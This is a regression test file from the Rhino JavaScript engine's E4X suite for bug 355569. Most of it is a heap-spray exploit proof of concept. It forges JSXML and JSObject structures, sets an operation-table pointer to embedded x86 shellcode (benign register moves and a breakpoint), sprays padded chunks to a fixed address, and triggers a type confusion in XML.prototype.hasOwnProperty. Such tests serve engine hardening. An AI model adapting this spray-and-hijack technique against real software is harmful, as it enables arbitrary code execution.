Debian Codegraph @

rhino/testsrc/tests/e4x/Regress/regress-355569.js

raw symbols SCIP
1 /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
2
3 /* This Source Code Form is subject to the terms of the Mozilla Public
4 * License, v. 2.0. If a copy of the MPL was not distributed with this
5 * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
6 gTestfile = 'regress-355569.js';
7
8 var bug = 355569;
9 var actual = '';
10 var expect = '';
11
12 START('XML.prototype.hasOwnProperty foo');
13 printBugNumber (bug);
14 printStatus (summary);
15
16 var targetAddress = 0x12030010;
17 var sprayParams = {
18 chunkSize: 16 * 1024 * 1024,
19 chunkCount: 16,
20 chunkMarker: 0xdeadface,
21 chunkAlign: 0x1000,
22 reservedSize: 1024
23 };
24
25 function makeExploitCode() {
26 /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */
27 return "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2";
28 }
29
30 /*==========================================================================*/
31 /*==========================================================================*/
32
33 function packData(template, A) {
34 var n = 0, result = "", vl;
35 for(var i = 0; i < template.length; i++) {
36 var ch = template.charAt(i);
37 if(ch == "s" || ch == "S") {
38 vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff);
39 } else if(ch == "l" || ch == "L") { // XXX endian
40 vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff, vl >> 16);
41 } else if(ch == "=") {
42 result += String(A[n++]);
43 }
44 }
45 return result;
46 }
47 function buildStructure(worker, address) {
48 var offs = {}, result = "", context = {
49 append: function(k, v) { offs[k] = result.length * 2; result += v; },
50 address: function(k) { return address + ((k && offs[k]) || 0); }
51 }; worker(context); result = ""; worker(context); return result;
52 }
53 function repeatToLength(s, L) {
54 if(L <= s.length) { return s.substring(0, L); }
55 while(s.length <= L/2) { s += s; }
56 return s + s.substring(0, L - s.length);
57 }
58 function sprayData(data, params, rooter) {
59 var marker = packData("L", [ params.chunkMarker ]);
60 data += repeatToLength("\u9090", params.chunkAlign / 2 - data.length);
61 data = repeatToLength(data, (params.chunkSize - params.reservedSize) / 2);
62 for(var i = 0; i < params.chunkCount; i++) {
63 rooter[i] = marker + data + i;
64 }
65 }
66
67 function T_JSObject(map, slots)
68 { return packData("LL", arguments); }
69 function T_JSObjectMap(nrefs, ops, nslots, freeslot)
70 { return packData("LLLL", arguments); }
71 function T_JSObjectOps(
72 newObjectMap, destroyObjectMap, lookupProperty, defineProperty,
73 getProperty, setProperty, getAttributes, setAttributes,
74 deleteProperty, defaultValue, enumerate, checkAccess,
75 thisObject, dropProperty, call, construct,
76 xdrObject, hasInstance, setProto, setParent,
77 mark, clear, getRequiredSlot, setRequiredSlot
78 ) { return packData("LLLLLLLL LLLLLLLL LLLLLLLL", arguments); }
79
80 function T_JSXML_LIST(
81 object, domnode, parent, name, xml_class, xml_flags,
82 kids_length, kids_capacity, kids_vector, kids_cursors,
83 xml_target, xml_targetprop
84 ) { return packData("LLLLSS LLLL LL", arguments); }
85 function T_JSXML_ELEMENT(
86 object, domnode, parent, name, xml_class, xml_flags,
87 kids_length, kids_capacity, kids_vector, kids_cursors,
88 nses_length, nses_capacity, nses_vector, nses_cursors,
89 atrs_length, atrs_capacity, atrs_vector, atrs_cursors
90 ) { return packData("LLLLSS LLLL LLLL LLLL", arguments); }
91
92 /*==========================================================================*/
93 /*==========================================================================*/
94
95 function makeExploitData(address) {
96 return buildStructure(function(ctx) {
97 ctx.append("xml-list",
98 T_JSXML_LIST(0, 0, 0, 0, 0, 0, 1, 0, ctx.address("xml-kids-vector"), 0, 0, 0));
99 ctx.append("xml-kids-vector",
100 packData("L", [ ctx.address("xml-element") ]));
101 ctx.append("xml-element",
102 T_JSXML_ELEMENT(ctx.address("object"), 0, 0, 0, 1, 0, 0, 0, 0, 0, /*c*/ 0, 0, 0, 0, /*d*/ 0, 0, 0, 0));
103 ctx.append("object",
104 T_JSObject(ctx.address("object-map"), 0));
105 ctx.append("object-map",
106 T_JSObjectMap(0, ctx.address("object-ops"), 0, 0));
107 ctx.append("object-ops",
108 T_JSObjectOps(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ctx.address("exploit-code"), 0));
109 ctx.append("exploit-code",
110 makeExploitCode(ctx));
111 }, address);
112 }
113
114 function exploit() {
115 sprayData(makeExploitData(targetAddress), sprayParams, this.rooter = {});
116 var numobj = new Number(targetAddress >> 1);
117 XML.prototype.function::hasOwnProperty.call(numobj);
118 printStatus("probably not exploitable");
119 }
120
121 try
122 {
123 exploit();
124 }
125 catch(ex)
126 {
127 }
128
129 TEST(1, expect, actual);
130
131 END();